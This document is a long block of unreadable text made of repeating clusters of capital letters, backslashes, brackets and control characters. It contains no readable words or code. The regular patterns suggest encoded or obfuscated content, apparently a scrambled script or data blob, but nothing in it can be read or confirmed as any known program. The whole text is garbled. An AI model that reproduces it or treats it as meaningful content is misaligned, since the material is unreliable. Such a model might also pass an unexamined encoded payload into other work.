T^2_[DMPPPMMMI	]_[	DMMMVggMMELYY2T  ^\EI\X	AMI	]_[	DDMMMgMMMMIZ]] 2^MPMMM-2[
^E\]_TDEI\X	DVgMMMMMMMELET2_\_\E\\Y\DEIZ]] 2^DMMMMKKM2
	

EIZ]] 2^DMMPPPMMMMI	]_[	DDMMMMM-T2_\_\E\\YYDEI\X	AMMMMMI	]_[	DVgEIZ]] 2^DVgMgM\X[_2	EI\X	DVggMMMMMMMM	2XUTUXTEDgMMMMMgMMMMMMMMMMMMET2_\_\E\\^[DE2[
^E\\YZDDMMKKMM
\^[EDDMMMMMMVgggMMMEL]]
X_E\\^[DE2[
^EZZ]DDMMMMMMMML]]
X_E\\^[DE2[
^EZZ\DDDMMMMMMMMVgMI^X	_]
^]MMPMMMM 2EJBJDVgMI^X	_]
^]MMMMMCPMET2_\_\E\\YUDEI^X	_]
^]AMMMJRJDMMMPPPMMMMMMMRMMMJRJMWMJKJDMMCMMT2_\_\E\\YTDMCMT2_\_\EXXYDEDMCMMMM]]
X_EZZ^DEEZU3Y_DAME\\[^@\[YDDVgMI	]^\^
TMMMPM2[
^E\\X]DEI^X	_]
^]AMMMET2_\_\EUTYDMPSME_QQ_DAMMT2_\_\EZ[]DMPSMAMMM]]
X_E\\X\DMMMMMMPSMM_AMM[_
 E^_UDMPSMME]]
X_E\\X_DMMMMPSMMM]]
X_E\\X^DDDDVgMMMMME2[
^E\\^[DE]]
X_E^\^DDMMMMMMKKMMMM22EI	]^\^
TDDMMgME[_
 E\\XYDET2_\_\EZZZDDDMT2_\_\E\\XXDE\DVgMI	]^\^
TMMPMMMMMT2_\_\E\\X]DEI^X	_]
^]AMMME2[
^EUTYDMPSMME\U_3\T]DAMT2_\_\EZ[]DMMMMMPSMAMM2[
^E\\X\DMMMMPSM_AM[_
 E\\X[DMMPSMMET2_\_\E\\X_DMMMPSMMM2[
^E\\X^DDDDVgMMMMMMET2_\_\E\\XYDE[_
 E^\^DDMMKKMMM22EI	]^\^
TDDMMMMMMVggMMMI	U	ZMMMPMMMEDMMM2 222	EI	]^\^
TDVgMMMMI	U	ZMMMMSPME\^]3_^]DMKKMMMMMMI	U	ZMMQMEYZTF_\DVggMMgM2\^\]_2][ EI	_AMMMMI]U]DggMMMI\]_MMMMPM2[
^ET[^DE]]
X_E\\_^DEI]U]DAMMMJBJDVgMMMMMMMEgMMMMMEgggMMMM[_
 E\\XZDMMCMMMMMI\]_MMMMCM]]
X_E\\XUDAgMMMM]]
X_E\\XTDMMMMCMMI\]_MMMMMMCMMMMM2[
^E\\[]DAgM2[
^E\\[\DMMCMMMI\]_MMMMMCMM[_
 E\\[_DAgMMMDMMMMMI^	\\gggMDMMgMMMMMMEL[_
 E\\Y\DEI	_DDMMMVgMMI	_MMMMMPMMT2_\_\EYT]DEI^	\\AMMO1OAMMMI	_DVggMMI	_VggMMMMMMMMMM\X[_2	EI	]YYDgMgggMMMMMMMMMMET2_\_\E\\XYDE2[
^EUX^DDDMMMgMMMMMM-2	EI	]YYAMMMMDMLPPMMMMVggBBM:=M/M;WMMgggggIT
\]YYU\MMPM[_
 E\\XYDE]]
X_E\\[^DDMRM-2
2EDMWMMVggMMMMMLE2[
^E\\]YDEIT
\]YYU\DMKKMMMMMML EIT
\]YYU\62[
^E\\[YD0DDVgMMgMM	 ^^TYEI\X	AMIX 2[ AMI	T_DgggMgMMMME]]
X_E\\^UDEI\X	AMMMMMM@E]^F]\DDMMPPPMT2_\_\ETUXDDMMMggMMMMMMMMELYY2T  ^\EI\X	AMMMMIX 2[ DDMMMg]Y\
\[ZEI	T_AMMMMMT2_\_\E\\[XDMMMMCMM2[
^E\\_^DEI\X	DDVgMMMMMMMMVgMMMMgMMMM\X[_2	EI\X	DVgMMMM]]
X_E\\[[DEIX 2[ DVggggIXZ_Y\MPMM-[_
 E\\^DEI\X	AMM[_
 E\\_YDDVgMMMEIXZ_Y\MMPPPMMMDMMMMgM]Y\
\[ZEI	T_AMMMM]]
X_E\\[XDMCMMMMMM[_
 E\\[ZDEI\X	DDVgggMMMMVgggMMMMMMMET2_\_\E\\[UDE2[
^E\\_DDDMM-EIXZ_Y\AM!".&2(5DVgI	]^\^
TMPMM-2[
^E\\[TDEIXZ_Y\AMMMMMIX 2[ DVgMMET2_\_\E\\[UDE]]
X_E\\Z]DDDMM-EIXZ_Y\AMMM!".&28#DVg-EIXZ_Y\DVgMMMMMMMMMEI	]^\^
TMPPPMMMMMMMMMEIX 2[ MLPPMMOOMKKMMI	]^\^
TMMMLPPMMM2[
^E\\[[DEIX 2[ DDDMMMgMMM]Y\
\[ZEI	T_AMMMM]]
X_E\\[XDMMCM]]
X_E\\[ZDEI\X	DDVgMMMMVgMMMgMMMMI	]^\^
TVgggMMgggMM2UU
2EDgMMgMMMMMMgggMMMMMELT2_\_\E\\[UDE]]
X_E\]]UDDMMMMMML2[
^E\\Z\DET2_\_\E\\Z_DDDMgZ
Y[EDVggggMMMMVggMMMMMMMMME
2E2[
^E\\Z^DDDMMVgMMMME
2E2[
^E\\ZYDDDMMVgM2E[_
 E\\ZYDAMMMM\AMMMMMEXTXFXDDVgZ
Y[EDVgME[_
 E\\ZXDE2[
^E\\Z[DDDMMM	2E2[
^E\\ZYDDVgMMMMIY	_	YMMPMT2_\_\E\\ZXDET2_\_\E\\ZZDDMRMME
DM_		T
U_E[_
 E\\ZUDAMMMMOODMWMMMOOVgMMMMMMMEIY	_	YMMLPPMMMMOOMKKMMMMT2_\_\E\\ZTDE2[
^E\\U]DDMMMMMKKMMM 2EIY	_	YDDMMMMg2E]]
X_E\\Z^DAM\AMME_\XUYF\[DDVgMMgMMMME9MMMMI

ZDMMMgM]Y\
\[ZE2[
^E\\U\DAMMMMMI

ZDVITP__Y]VI	PITH\ZVgMMMMMMMMME(MMI

ZDMMMgMggMMZ
Y[EI	ZXDgI\ZUXPE]	F]TTDVIU2^PI\ZUXH[VgMMMMMMELTZ\]E2[
^EY_YDDDMMMVgMgMMMMELMMM2[
^E\\ZTDET2_\_\E\\ZZDDMMMMLMMM2[
^E\\ZTDE[_
 E\\U]DDDMgMVgMMMMgMMI	YZ	ZMMPMMME
DM_		T
U_E2[
^E\\U_DAMMMOODVgMMMMEI	YZ	ZMLPPMOOMMKKMMM 2EI	YZ	ZDMMKKMMME
DMMMM_		T
U_E2[
^E\]UXDAMMOODMLPPMMMMOODMMMgggMMMVggMMMgMMMMMEI	YZ	ZMMMMMMPPPMMMMMMOODMMgMI]2Y_Z2_MMMPM[_
 E\\]YDEI	ZXDMMMRMI	ZXMMMWMM]]]]_^TEDVgMIY]MMMPM
X^\\UEI]2Y_Z2_DVgMMEgMIY]MMMKKMMMMML EIY]@S2
DMKKMMMMMEIY]@S2 DgMMMMKKMMIY]@S2 MPPPMMIY]@S2
MCMJ-JMMMMCMM	Z[ Z ]Y_TET2_\_\E\\U^DDgDMMgMMMMMI	YZ	ZMMMMPMMMME
DMMIY]@S2
VgMMMMMMgMMgMMMMMEI	YZ	ZMMMMMLPPMOOMMKKMM 2EI	YZ	ZDDMggggMMMMI[	2^MMMPMM 2EI	YZ	ZDVgMMMIZTXMMMMPMM
^\ ]_EE\TFXDDVgMMMME[_
 E\\UYDET2_\_\E\\UXDDDMgMMMMMT2_\_\E\\U[DEIZTXAMMMI[	2^DVggMMMU2_T
Z
E[_
 E\\UZDAMMMMI	YZ	ZAMM]]
X_E\]T[DDVgU2_T
Z
ET2_\_\E\]UXDAMMMIZTXAMMM2[
^E\]T[DDVgggMVgMMMMMgMMI __T	

MMMMMPM]ZZY[^YEDVgMMMEDMgMMMI	YZ	ZMMMPMOOVgMMMMMEI

22
YMPMMMM]VMI

22
YMQMMMMME_]Y3_]\DVMI

22
YFFDMMMMgMMIZ ]MMMMPMMI __T	

6T2_\_\E^]YDEI __T	

D0MMMCMMMMM
^\ ]_EE\]T3\]^DDVgMMMMEL 2EIZ ]DDMMggggI	YZ	ZMMPMMMIZ ]VgggVgMMMMMMggMMgMMMMMMMMMMMEI	YZ	ZMPPPMMMMOODMMgMM]Y\
\[ZE]]
X_E\\UUDAMT2_\_\E\\UTDDVggVgMgBBM MggMMMgggMMMMMMIZTXMMMPMMM
^\ ]_EE\TU3___DDVggggMMMMMMMELMMMM]]
X_E\\UYDE]]
X_E\\T]DDMMMKKMMMMM		E[_
 ET\\DDMMKKMM]]
X_EU_UDE,/>=,9%MCM[_
 E\\T\DDDMgMMMMMMM2MM,/>=,9%MCMM[_
 E\\T\DVgggMMgMMI[
Y^XTTMPMMI	YZ	ZMCMMJ-JMMMMCM	Z[ Z ]Y_TET2_\_\E\\U^DDVgMMMIZTZ^MPMMMMMVgMMMMMMET2_\_\E\\UYDE2[
^E\\T]DDDMMMgIZTZ^MMPMMM]]
X_E\\T]DEEgMMM[_
 E\\T_DMMMPSMMMI	YZ	ZAggMMMT2_\_\E\\T^DMPSMIZTXAggMMMMM2[
^E\\TYDMMPSMI[
Y^XTTAgT2_\_\EU\[DMPSMMMT2_\_\EU\ZDAg]]
X_E\\TXDMPSMMMMMI	YZ	ZAgDDVgMME22EIZTZ^DDMgggMMMM]Y\
\[ZET2_\_\E\\UUDAMMMIZTZ^@S
22	EDMMMMCMJWJMMMMCMMMIZTZ^@S
22 
EDDVgMIZTZ^MMMMMPMMVgMgMggMMMMMELIZTZ^DMMI ]2ZP_TGYVI\X_

PI ]2Z@^^VgMMMI	MMPMMMMMMEI*!"/,!>6[_
 E\\T[D0DMMRMMMMI*!"/,!>6[_
 E\\T[D0MMMMMWMVgMMMMMMELI	MMMMML[_
 ET^XDEI	DDMMMgMM]Y\
\[ZE[_
 E\\TZDAMMMMMM[_
 E\\TUDDVgVgMMMMgBBM"=M
MMggMIX\[
MMMMPM2[
^E\\TTDE[_
 E\_]]DDMMMRMMMMM22	EIZTXDMMWMMMM]]
X_E\\Y_DEIZTXDVgMIZ	
X
YY _MMMMMPM[_
 E\\TTDE[_
 E\_]\DDMMRMM2 E]]
X_E\_]_DDMMWM
 	E[_
 E\_]^DDVI2P\XF\]VI
X
\PI2@^UVggMMIZ_TMMMMPMMMMI	@SEI	@SAMMEgggMMMM]]
X_E\\T_DMPSMI	YZ	ZAggg[_
 E\\T^DMMPSMIX\[
AgM]]
X_E\_]YDMMMMPSMMMI	YZ	ZAgMMMMM]]
X_E\\TYDMPSMMMMI[
Y^XTTAgMMMMMM]]
X_E\_]XDMMPSMMIZ	
X
YY _Ag2[
^E\_][DMMPSM]AgMMMMM]]
X_E\_]ZDMMMPSMI	YZ	ZAgMMMDAMMMMMME2[
^E\_]UDAMMMMM2[
^E\_]UDAM2[
^E\_]UDAMT2_\_\E\_]UDAM]]
X_E\_]UDAM[_
 E\_]TDAMMMM[_
 E\_]UDDDVgMMMMMMMMMELIZ_TDMMgMMMMM]Y\
\[ZE2[
^E\_\]DAM[_
 E\_\\DDVgMMMMMMVgMgMMMIZTZ^MPMMMEDMMI	@S2	VgI^UZU_2MMMPMMMMMI	@SMCM2[
^E\]YZDVI
_PE]F]	DVI^UZX[PI
_H\XVgMMMI	@SEI	@S AMMMMEgM]]
X_E\_\_DMMMMMPSMMMIZTZ^AgMMM2[
^E\_\^DMPSMMI^UZU_2AgMMMMM]]
X_E\_\YDMMMPSM2[
^E^U]DEE[_
 EU\ZDMPSMMMDDAgDAME2[
^E\_\XDAMM]]
X_E\_\[DAMMMT2_\_\E\_\[DDDVggggMI	@SEI	@S AMEgM2[
^E\_\_DMMMPSMMMIZTZ^Ag]]
X_E\_\^DMMMPSMMMMMI	@SMMMCMMM2[
^E\_\ZDAgMMMMMMM[_
 E\_\YDMPSMMMMMJ\]JAgMMDAME[_
 E\_\XDAMM]]
X_E\_\[DAMM]]
X_E\_\[DDDVgMMMMMMME2[
^E\\TTDE[_
 E\_\UDDDMggggMM22EIZTZ^DVgMgMMMMMMggggMMMMEL 2EI	YZ	ZDDMMgM]Y\
\[ZET2_\_\E\_\]DAMMM2[
^E\_\TDDVgMMMVgMMMMMMMgMMMMMIU2XZMMMMMMPMMT2_\_\E\\TTDE]]
X_E\__]DDMMRM
22ET2_\_\E\__\DAMMMMMI	YZ	ZDMWMMMMMMVgMMI	XT[TXX^MMMMPMMMMVgMMMMMMEIU2XZMKKML EIU2XZ@S$)DDMMMgMMMMMMME]]
X_E\\TTDE2[
^E\___DDDMgMMMMMMI	XT[TXX^MPMEDMM2EIU2XZAMM]]
X_EU\ZDDVI	X]2_PE]\]F]UDVI^X^
PI	X]2_H\^VgggMMMMMMMEEIU2XZ@SDMMMMMKKMMMMMM[_
 E\__^DEIU2XZ@SDDMgMMMMMMMMI	XT[TXX^MMPML EIU2XZ@S6[_
 E\__YD0DVggMgMMMMMMMELI	XT[TXX^DMg]Y\
\[ZET2_\_\E\_\]DAMMT2_\_\E\__XDDVgMMMMMMMMEIZTZ^DMMgMMMMMMEL]]
X_E\\TTDE[_
 E\__[DDMMMKKMMMMM		E]]
X_E\__ZDDMMMMKKMM-T2_\_\E\__UDE,/>=,9%MMMMCMMMM[_
 E\__TDDDMMMMgMMM2M,/>=,9%MCMT2_\_\E\__TDVgMggggME]]
X_E\_^]DE2[
^E\__[DDDM-2	2EIZTZ^DVgMggggMVggggMgBBM	M
gggMMMMU2_T
Z
ET2_\_\E\_^\DAMI	YZ	ZAMMMMT2_\_\E\]T[DDVgU2_T
Z
E[_
 E\]UXDAMMIZTXAMMMMMM[_
 E\]T[DDVgMMMMMMME9MI

ZDMMgMM]Y\
\[ZE2[
^E\_\]DAMI

ZDVgMMMMMMMME(MMI

ZDMgggMMMMMMg^U^\
TE]]
X_E\_^_DDVgMgMMMMgggMMMMMMM] 2 _^EI^T^	DggMMMMMMMMgMMMMMgMMMELM]]
X_E\_^^DEI^T^	DMMMMMMMMMLM2EI^T^	AMMM2[
^E\_^YDDDMMMMMMgMMMI^T^	VgMMMMMMgggggMMMMMI	YZ	ZMMPMMMM]]
X_E\_^]DE2[
^E\\ZZDDMRMMMMME
DM_		T
U_E]]
X_E\_^\DAMMOODMMWMMOOVgggMMMMMMELMMI	YZ	ZDMgMMMMMI^T^	VggMgMMMMggMI[\UMMMPMM2EI	YZ	ZDVgMME]]
X_E\\YUDEI^T^	@S2AMMI[\UDMMMPPPMMMMDMMgMI^T^	@S2MCPMM2[
^E\_^XDMMMMMCMMI[\UMMCMMOJOVggggMMMMMMMMMME9MMI

ZDMMggggMMMMMMMM]Y\
\[ZE2[
^E\_^[DAMI

ZDVgMMMMME(MMMI

ZDMMMMgBBM 
MMM ><!M'>"#MggMMgMMMMMMI^T^	VggggMMMgMMMMMMMMMM\]]^X

YU	EI^
[^ZDgMMMMgMMMMMgMIY	_	YMPMMMT2_\_\E\_^ZDET2_\_\E\\ZZDDMMRMMMMMME
DMMM_		T
U_E]]
X_E\_^\DAMMMOODMMMMWMMOOVgMMMMMELMMIY	_	YDMMMMMgMMMMMMMMMMMMI^
[^ZVgMMgMMMMMI2MMMMPMMET2_\_\E\_^UDAMMMM]]
X_E\__YDDVgMMMEI2MMMMMMMMMIDMMgMMMMEEI^
[^Z6I0DMKKM2[
^E\\Y\DEI^
[^Z6I0DMMMMMKKMMMT2_\_\E\_^TDE]]
X_E\_Y]DAMI^
[^Z6I0AMMI__^\\DDMMgMI MMPMT2_\_\EX]ZDE]AMMEDMMMI__^\\6\0MMM@MMMMM\DVgMMMI^
[^Z6I0MMPM]]
X_EYT]DE2[
^E\_Y\DAMMJEJMMMMCMI MMMMCMMJDJAMI^
[^Z6I0DVgMgMMggMMME9MMMMMI

ZDMgMMM]Y\
\[ZE[_
 E\_Y_DAMMMI

ZDVgMMMMMME(MMMMMI

ZDMMMgggMMMgMMMI^
[^ZVgggMggMMMMMMM
[]EI^_2XY AMMMIU2
	DgMMMgMMMMMMMMgMMMI	YZ	ZMMMMPMMMMMM2[
^E\_^ZDE2[
^E\\ZZDDMMMRME
DM_		T
U_E]]
X_E\_Y^DAMMOODMMMWMMOOVgggMMMMMEI	YZ	ZMMMPPPMMMOODMMgMMMI^_2XY VggggMMgMMMMELMMM]]
X_E\__^DEI^_2XY DDMMMgMMMMMMMI^_2XY VgMMggggMMMMMMMMELMMMMMEI^_2XY 6]]
X_E\_YYD0DMMMMMMMLM]]
X_E\_YXDEI^_2XY 6]]
X_E\_YYD0DDMgMI^_2XY 6]]
X_E\_Y[D0MMMPMMMMEDVggggMgMMMMELMMMMM[_
 E\_YZDEI	YZ	ZAMI^_2XY 6[_
 E\_Y[D0AMDDMgMMI^_2XY 6T2_\_\E\_YUD060MMMPMMI	YZ	ZVgMMMMgMMMMMMMMMMMMME9MMI

ZDMgMMMMM]Y\
\[ZE]]
X_E\_YTDAMMI

ZDVgMMMMMMMMME(MI

ZDMMggMMMMI^_2XY VI] 
YZZYP=%=2 ,'"?2;(?>$"#VI__PI] 
YZZYGTVgggMMggMMMMMMMM_X\X XEDgMMMMMgMIX^
Z
2\MMPMMEDVggMMMMMME		E[_
 EU__DDMMKKMMT2_\_\E\_^ZDE[_
 E\\ZZDDDMgIUX]\\MMPMEDMMMM
2ET2_\_\E\_X]DAMMMEDDVgMMMIY\	TMPMMMEDVgMMMMMMMMMEIUX]\\MMMMMMMMI DMgMMMMMMMMMMELMMMMM2[
^E\\Y\DEI DMMMMMT2_\_\E\\YUDEI AM]]
X_EU_\DDMLPPMDMgVgMMMMMggggIY[MMMPM2[
^E\\\]DEI DVggMMEIY[MPPPMMJCJDMgMIY[MMPMI VgMMMMMMggMMMMMEEIY\	T6IY[0DDMgBBM M
MM:=M+	M$ 
ggMVggMMMIY\	T6IY[0MMPMMMMVggMMI\X	MMMMPM:=2=!8*$#2)$?MMCMJBJMMCMMMMMI VgMMMMMMMMET2_\_\E\\\]DEI DMMMMMPPPMJCJDMMgMMMMMMMMMME-T2_\_\E\\Y[DEI\X	DDMMgIX^
Z
2\60MPMMMMMMI\X	VgMMMMgMMMMMMMMgMI 	[TX2YMMMMPMMT2_\_\E\_X\DEI\X	DVgMME-[_
 E\\\\DEI 	[TX2YDDMgMMIX^
Z
2\MMPMM[_
 EY]^DEIX^
Z
2\AMM^XY\^2EI 	[TX2YAMMME[_
 E\_X_DDDDVgMggggMMMMggMMMMMMgMgMMMMMME-T2_\_\E\_X^DE	2	TY_
TEDDDMMMMMI	[^P^_GYVI	ZY\T[2UPI	[^@TVgI
^]Y_YMMMPMMMM\YE	2	TY_
TEDDVgMMMMME[_
 E\_YXDEI
^]Y_YDDMMMI[

	PTZF^TVI[ZPI[

	@_VgMMMEI
^]Y_YMMMMMMMI
_Z	DMMMgMMMMMEI
_Z	MMMMPPPMMMM	 U[\EDDMMgMMMMVggggMMgI	]YYMMMMPM	2	TY_
TEDMCMJBJMMCMI
_Z	VgMMME-]]
X_E\\Y[DEI	]YYDMMMMMMKKMM2[
^EU]_DET2_\_\E\_XYDEI
_Z	AME[_
 EU]\DDDDMPPPMMM]]
X_E\_X_DDMgMMMMMIX^
Z
2\60MMMMMMPMMI	]YYVgMMMMMMMgMMggMMMgMMMMMggggMME		E2[
^E\__ZDDMMKKMMMM[_
 E\_^ZDE]]
X_E\_XXDDDMMMMggMIXX_	ZMMPME
DMM
2E2[
^E\_X[DAMMMMMOODVgMMMMIZ]^ZMPME
DMM
2E]]
X_E\_XZDAMMOODVgMMI
	YZMPMM		E2[
^ETXYDDMRMM:=2."#9(#92)$?MMMCMM[_
 E\_XUDMWM,/>=,9%MMCMM]]
X_E\_XTDVgMMMMIZMMPMM2[
^EY]YDE[_
 E\_[]DEEIXX_	ZAMIZ]^ZDDDVgMMMMEIZMMMI 	^ZYZ[DMMgMMMMMMMMMET2_\_\E\_[\DEI 	^ZYZ[AMMM2[
^EU_\DDMMLPPMMMMDMMI	U__X^\ZP\X_]ZVI[_PI	U__X^\Z3_\^VgMVgMMgMMI[	TTMMPMI
	YZMCMMJBJMMMMMCMI 	^ZYZ[VgMMMMMME-T2_\_\E\_X^DEI[	TTDDMMggMI U\	Y	MMPMMM\YEI[	TTDVgMMMMMME2[
^E\_YXDEI U\	Y	DDMMgMMMEI U\	Y	MMMMMMMMI
_Z	DMMgMMMIUMMPMMMI[	TTMMMMCMJBJMMMMCMMI
_Z	VgMME-[_
 E\\Y[DEIUDMMMKKMT2_\_\EU]_DE]]
X_E\_[_DEI
_Z	AMMMMME[_
 EU]\DDDDMMPPPMMMMMM]]
X_E\_X_DDMMgMIX^
Z
2\60MMPMIUVggggMMMgMgMgMMgI [2YT]MPMI[	TTMMCM]]
X_E\_[^DVgMMMMMME-[_
 E\_[YDEI [2YT]DDMMMMMgMIX^
Z
2\MPMM]]
X_EY]^DEIX^
Z
2\AM^XY\^2EI [2YT]AMMET2_\_\E\_X_DDDDVgMgMgggMMMMgMMMgMMMMMMT2_\_\EY]YDEIX^
Z
2\DVgMMMgMMMMMM2
XEI]ZDgMgMMMMMMELT2_\_\E\_YXDEI]ZDDMMMMMMMMEDVgIT  \ \ MMMPMMEDVgggMMMMMMMMEI]ZMMMMMMI	]^\^
TDMMgMMMMMEL2[
^E\\Y\DEI	]^\^
TDMMMMMMI	]^\^
TMMPPPMMMMOOMMMMMM]]
X_E\\[[DEI	]^\^
TDMMMSMMMEY]_YFZ_DDMMMMMVgMMMMMITU\[X P@T]XVI\
	YU\PEITU\[X S]DRITU\[X W@ITU\[X VgME-2[
^E\_^TDEI	]^\^
TAMMOODMMMMMPPPMMMMMDMMMMMMVgMMMMMMME9MI

ZDMgMMVgMMME(MI

ZDMgMVI[]\TX PZUFX]VIXZ2XT_Z\YPI[]\TX @Y[VgMMgMMIT  \ \ 60MMMPMMMI	]^\^
TVgMMMMMMMMgggMMMMMMMMIT  \ \ VggMMMMgMMMMMMMUUUX
EI]ZDgMgggMMMMMMMMMgMMMMMMMMgMMMMMMMMME EI]ZDDMMgMMMVgMMgggMMgIX^
Z
2\MMPMMMMM_X\X XEDVgMMMMME EIX^
Z
2\DDMgMMMMMVgggMMMgMI

Z MMMPMMMMMVgMMMEIX^
Z
2\MMMI	]YYDMggMMELMM-[_
 E\_[XDEI	]YYDMMMMMMMLMM-2[
^EU[\DEI	]YYDDMgBBM-	MggMMMMMVgMMMgggggMMME-T2_\_\E\\\TDEI	]YYDMSME][^^F]\^[DDMgMMVggMMMMMI^MMMPMM-T2_\_\E\_[[DEI	]YYDVgMMMMMMELMI^MMLMM[_
 E\_[ZDEI^DDMMggggMMVggMMMMggMMgMMMMI\[\YY MPMVI[	\[P^[FZUVI[ZZPI[	\[@_VgMMMMEI]ZMMMMMMMMIU_ ]DMMgMMMggggMI ^ T UMMPMMMMMM-T2_\_\EYT]DEIU_ ]AMOOAMMMMI^DVgMMMMMMMEI ^ T UMLPPMMMMKKMI ^ T UMMMMMLPPMI^DMMgMMMI^MMMMMMPMMMMI ^ T UVgMMMI\[\YY MMMPMMVgMMMMgMMMMME9MMMI

ZDMMg]Y\
\[ZE[_
 E\_[UDAMI

ZDVgMMMMMMMVgMMMMMME(MMMMMI

ZDMMgMMMVgMMMgMgMgMMMMEI\[\YY DMgMMMEYY2T  ^\EI	]YYAMI^DDMgMMMMMMMI

Z MMMPMMVgMMgMggggggMMMMMI

Z VgMMMMMMMMMMMMME9MMMMMI

ZDMgM]Y\
\[ZE[_
 E\_[TDAMMMMI

ZDVgMMMMMMMMME(MMI

ZDMgMMMggMMMMMMMVgMMgggggMMMMMX EI 	[TX2YAMMMMIZ2XU2\^DgMgMMI	^MPMMMEDVgIZ2XU2\^MMPMIZ2XU2\^M@MM\VggMI
 T2MPM-2[
^EU_XDEI 	[TX2YDVgggMMMELMMMMM[_
 E\_YXDEI
 T2DDMMMgBBM MMggMI	^VgMggggMMMMMMMMI
 T2MMMPM]]
X_E\^_DEI
 T2AMM]AMMEYU_F\UDDVggMMMMMgMMMMMMMEI
 T2MMI
_Z	DMMgMMgggMMMMMMEI
_Z	MPPPMMJCJMMMMI
_Z	MMPPPMMMMM2[
^EU_\DDMMgMMVI

X
P_\^ZYVI	U222PI

X
3_\XVgMMMgMMMMMgMI2U MMMMPMMMMI 	[TX2YMMCMJBJMMMCMI
_Z	VggggMMMMMMMMMELM-T2_\_\E\_Z]DEI2U DDMggggMMMMVgMMMMgMMgMMMMME-T2_\_\E\_Z]DEI2U MCMM2[
^E\][XDDDMMMgMI	^60MMMPMMMMMM2[
^E[^[DEI2U AMMMMMM[_
 E\_Z\DDVgMMMVgMMgMMMMMMgMMMMEIZ2XU2\^MMMSMM]DMMMMgMI	^MMMMMPMMT2_\_\E\_Z_DEI	^AMMX EI2U AMIZ2XU2\^DDVggggMMggggMMggMMMMMMI	^VggMMMMMMMMMMU2T ZU
EDgggMMMMMIY	]YPE]UF][DVI][^PIY	]YHZVggggMMI[_Z
^_MMMMMPMEDVgMI]U_2MMMMPMMM]]
X_E\_Z^DE,/>=,9%AMM2[
^E\_ZYDDVgMMMMMMgMMMI	YMMPMEDVgMMMMEI]U_2DMMgMMMI	Y60MPMM2[
^E\_ZXDEI]U_2DVgI	Y60MMPMMMMMT2_\_\E\_Z[DET2_\_\E\_ZZDEI]U_2DDVgMMMI	Y60MMPMM]]
X_E\_ZZDE]]
X_E\_ZUDE]]
X_E\_ZUDEI]U_2DDDVgMMMMgMMMgMMMI	Y60MMMPMMMT2_\_\E\_ZTDVggggMI	Y60MMMPMMMM]]
X_E\_U]DVgI	Y60MMPMMM2[
^E\_U\DVgMMMMI	Y60MPMMT2_\_\E\_U_DVggMI	Y60MMMPMM]]
X_E\_U^DVgMMMMMI	Y60MMPMT2_\_\E\_UYDVgMMMMMMI	Y60MMMPM]]
X_E\_UXDVgMMgMI 		^ZMPMMM[_
 E\_^ZDE]]
X_ET[DDMMRMME
DM-2[
^ET[DE]]
X_ETZDDMMWMMMMOOVgggMMMMMEI 		^ZMMMMMLPPMMMMMOODMMgMIUMPMMMMME]]
X_E\_[\DEI 		^ZAMMMJVJDMMMLPPMDMMMMMRMMMMJVJMMWMMMMJWJVgMMMMMMME]]
X_E\\]XDEIUAMMMI 		^ZDMMMMI 2YZUDMMgggMMMMMMMMI 2YZUMPMMMMMT2_\_\E[[_DEI 2YZUDVggggMMMMEI 2YZUMMLPPMMMOODMMgMMMI	Y60MPMMMI 2YZUVgMMggMgMMMMMMgBBM:=M=
M/MMggMMMgMI	YMMMPMT2_\_\E\_U[DE[_
 E\_UZDEI	YDDVgMIY T
Y]MMPMMT2_\_\E[Z\DEDVgI[_Z
^_MMPMMEDVgMMgggMEI	YMMMMMI 	[TX2YDMMgggMgMMELMM-]]
X_E\_Z]DEI 	[TX2YDMMMMMMMMLMMMMM-]]
X_E\_UUDEI 	[TX2YDDMMgVggggMMMgBGMMMGBggMMMMMMMMMEE]]
X_E\_UTDEDMMM@MMMMMIY T
Y]DMMMSME\^@^DDMMgMMVgMggggMgggMMMMMI[_Z
^_MMPM[_
 E\_T]DEI[_Z
^_AMMMMX EI 	[TX2YAMM_DDVggMMMMMMMMMMMME9MMMMMI

ZDMMMggggM]Y\
\[ZE[_
 ETZ^DAMMI

ZDVgMMMMMMME(MMMI

ZDMgMMgMMMMMMMMgMMMMMMMT2_\_\E[TXDE[_
 E\_U[DEI[_Z
^_DAMMMMMEI]U_2DDVgMMMMMMgMZ[[ \ZEI 2]Z2DgMMMMMMgMMgMMMMITY 2X[YMPMMMEI 2]Z2MCM2[
^E\_T\DAMMMI 2]Z2MCMT2_\_\E\_T_DDVgMMMMMMMMMMMEITY 2X[YMMMMI 	[TX2YDMgMMMMMMELM-]]
X_E\_Z]DEI 	[TX2YDDMMMgMMMMMMMVgggMMMMMMMggMMMMMI2Z^2MMMMPMM\YEI 	[TX2YDVgMMMMMMMMMELT2_\_\E\_YXDEI2Z^2DDMgVgggMMMgBBM	M M	ggMMMMMEI2Z^2MMMMMMI

ZDMMMMgMMMMMET2_\_\E\\^UDEI

ZAMMMMM@E\Y\3\^ZDDMMMPPPMMM]]
X_ETUXDMMKKMMMX_U2 EI 	[TX2YMMMMMCMJBJMMCMMMI

ZAMMEYT]\FTTDDDMMMggMMMMVgMMMMgggggMMMMEI2Z^2MMMMMI

ZDMMgBBM	MMggMMI		X_U\[MMPMMMMI 	[TX2YMCMMMMMMJBJMCMMMI

ZVgMMMELM-T2_\_\E\_Z]DEI		X_U\[DDMMMgMVgMMgMMMMMMMI_ YX_MMMPMM\YEI		X_U\[DVgMMEL[_
 E\_T^DEI_ YX_DDMgMVggBBM:=M/M/MMggMMMMMMMMMMEI_ YX_MMMMMMMMIYTX]	DMMMggMMMME[_
 E\\^UDEIYTX]	AMM@E\F^DDMPPPMMMMMM[_
 ETUXDMKKMMX_U2 EI		X_U\[MMMCMJBJMCMMMMMMIYTX]	AMMMEYTY\FXTDDDMMgMMMMMMMMMVgMggMgMMgMMMggggMMME9MMI

ZDMMMgMMMMMM]Y\
\[ZE2[
^E\_TYDAMMMMI

ZDVgMMME(MMI

ZDMMMMI
][PZ^G^VI2Y
^	\PI
][@YYVgMMMMgBBMM	
MggMMMMMMVggMMMMMMMUZ[[_ZEDgggggMMMgMMMMMMME	2 
UXUTETXXEDDDMMMVggMME
2E]]
X_E\_TXDDDMMgMMMMMMMVgMMMggMMgIZX MMMMMPM] UX_^^EDVgMMMMELMMMMMMIZX MMM]]
X_E\\[[DEIZX DMMMQMMETT\FTDDMMMggMVgMgggMMMMELM]TX^EIZX DDMMMg]Y\
\[ZE2[
^E\_T[DAMM]]
X_E\_TZDDVgMMVgMMMMMgMMMMMMMgMMI[_Z
^_MMMMMPMU2T ZU
EDVggggMMMMMMMME EI[_Z
^_DDMMMggggMMEL
2E[_
 E\_TUDDDMMMMgBBM:=M>M!
WM M
gggggMMM]Y\
\[ZE[_
 E\_T[DAMM[_
